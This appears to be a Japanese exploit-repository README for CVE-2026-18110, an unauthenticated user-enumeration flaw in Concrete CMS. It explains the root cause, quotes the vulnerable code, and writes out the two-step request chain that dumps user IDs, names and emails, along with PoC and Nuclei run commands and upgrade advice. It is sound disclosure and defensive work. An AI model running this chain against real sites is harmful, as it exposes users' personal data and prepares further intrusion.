
CVE-2026-18110を悪用するPython PoCおよびNucleiテンプレート。これはConcrete CMS 9.0.0-9.5.2における、ユーザーオートコンプリートエンドポイントを介した未認証のユーザー列挙脆弱性です。
Concrete CMS 9.0.0 から 9.5.2 は、ユーザーセレクターのオートコンプリートエンドポイント (/ccm/system/user/autocomplete) に対して認可チェックを実行しません。このエンドポイントは「Preview as User」パネルやその他のユーザーセレクターコンポーネントを支えています。これにより、未認証のリモート攻撃者が、有効なセッションや認証情報を一切持たずに、ユーザーID、ユーザー名、メールアドレスを含む内部ユーザーディレクトリ全体を列挙することが可能になります。
この脆弱性は、CSRFトークンが認可制御として(誤って)使用されている典型的な事例です。トークンはリクエストの完全性を証明しますが、呼び出し元がユーザーリストを照会することを許可されているかという実際のセキュリティ上の問いには決して答えません。
| 製品 | 影響を受けるバージョン | 修正済み |
|---|---|---|
| Concrete CMS | 9.0.0 – 9.5.2 | 9.5.3 |
Preview As User パネルは concrete/routes/panels.php にベースパス /ccm/system/panels の下で登録されています:
GET /ccm/system/panels/page/preview_as_user
そのコントローラー (concrete/controllers/panel/page/preview_as_user.php) は UserSelector::quickSelect() を呼び出して <concrete-user-select> Vue コンポーネントをレンダリングします。正しく canAccessUserSearch() でゲートする兄弟メソッド selectUser() とは異なり、quickSelect() はトークンを生成して埋め込む前に権限チェックを実行しません:
// concrete/src/Form/Service/Widget/UserSelector.php (vulnerable — 9.5.2)
public function quickSelect(string $inputName, $userID = null, array $args = []): string
{
$userSelectInstance = $userSelectInstanceFactory->createInstance($labelFormat, $includeAvatar);
// No permission check here — token is rendered unconditionally
$html = <<<EOL
<concrete-user-select
access-token="{$userSelectInstance->getAccessToken()}"
label-format="{$labelFormat}"
:include-avatar="{$includeAvatar}"
...
EOL;
return $html;
}
したがって、サーバーがレンダリングした HTML レスポンスは、このルートに到達できる任意の訪問者(未認証の訪問者を含む)に有効な access-token を公開します。
access-token の値は次の形式です:
{unix_timestamp}:{md5_hash}
ここでハッシュはサーバー側で次のように計算されます:
md5( timestamp : userID : action : pepper )
timestamp — 生成時の UNIX 時間。トークンのプレフィックスとして平文で送信されます。userID — 生成時のリクエスターのユーザーID。未認証の訪問者に対しては 0 です。action — 文字列 user_select:format:{labelFormat}:avatar:{includeAvatar}。ここで両方の値はクエリパラメータを介して攻撃者が指定します。pepper — インストール時に一度生成され、application/config/generated_overrides/concrete.php に保存される 64 文字のランダムなシークレット。トークンは 24 時間 有効で、その期間内は 完全にリプレイ可能 です — 単一使用/ナンスの強制はありません。また、下限のタイムスタンプチェックも存在しないため、鮮度チェックは片側のみです。
1. GET /ccm/system/panels/page/preview_as_user
↓
Server responds with HTML containing:
<concrete-user-select
access-token="1738012345:a1b2c3d4e5f6..."
label-format="auto"
:include-avatar="true"
...>
2. POST /ccm/system/user/autocomplete
Body: accessToken=1738012345:a1b2c3d4e5f6...
&labelFormat=auto
&includeAvatar=true
&query=a
↓
Server responds with full user list:
[
{"id": 1, "primary_label": "admin", "secondary_label": "[email protected]"},
{"id": 6, "primary_label": "m.rossi", "secondary_label": "[email protected]"},
...
]
view() 内の checkAccess() 呼び出しは、現在のリクエストの uID(ゲストの場合は 0)を使用してハッシュを再計算します — これはトークンも uID=0 として生成されているため完全に一致します。チェックが通過し、ユーザーディレクトリ全体が返されます。
オートコンプリートエンドポイントの canAccess() / checkAccess() ゲートは、トークンの 完全性(偽造されていない、期限切れでない)を検証しますが、認可(この呼び出し元がユーザーを検索することを許可されているか?)を決して検証しません。CSRF トークンの有効性は認可チェックの代わりにはなりません。同じコントローラー内の getSelectedUsers() は結果ごとに Checker::canViewUser() を正しく呼び出していますが、view() には同等のチェックがありません。
このリポジトリには Python スクリプトと Nuclei 検出テンプレートが含まれています。Python スクリプトは単一の URL に対してのみ使用できます。複数のターゲットを同時にテストしたい場合は、代わりに nuclei を使用してください。どちらも上記の 2 段階のチェーンを自動化し、ステップ 2 のレスポンスで確認されたユーザーデータにマッチします。
python3 CVE-2026-18110.py https://target.example.com
nuclei -t CVE-2026-18110.yaml -u https://target.example.com
テストを 許可されている システムに対してのみ使用することを意図しています。
Concrete CMS 9.5.3 以降にアップグレードしてください。この修正では、selectUser() に既に存在する canAccessUserSearch() ゲートと整合する認可チェックをトークン発行段階 (quickSelect()) に導入し、オートコンプリートコントローラーの view() 内に同等の権限チェックを追加して、getSelectedUsers() が既に正しく使用している Checker::canViewUser() パターンを反映しています。
即時のアップグレードが不可能な場合は、一時的な緩和策として、Web サーバーまたは WAF レベルで /ccm/system/panels/ への未認証アクセスをブロックすることを検討してください。
このリポジトリは教育および防御的なセキュリティ目的で公開されています。すべてのテストは明示的な許可の下でシステムに対して実施されました。著者は、ここに含まれる情報やツールのいかなる誤用についても責任を負いません。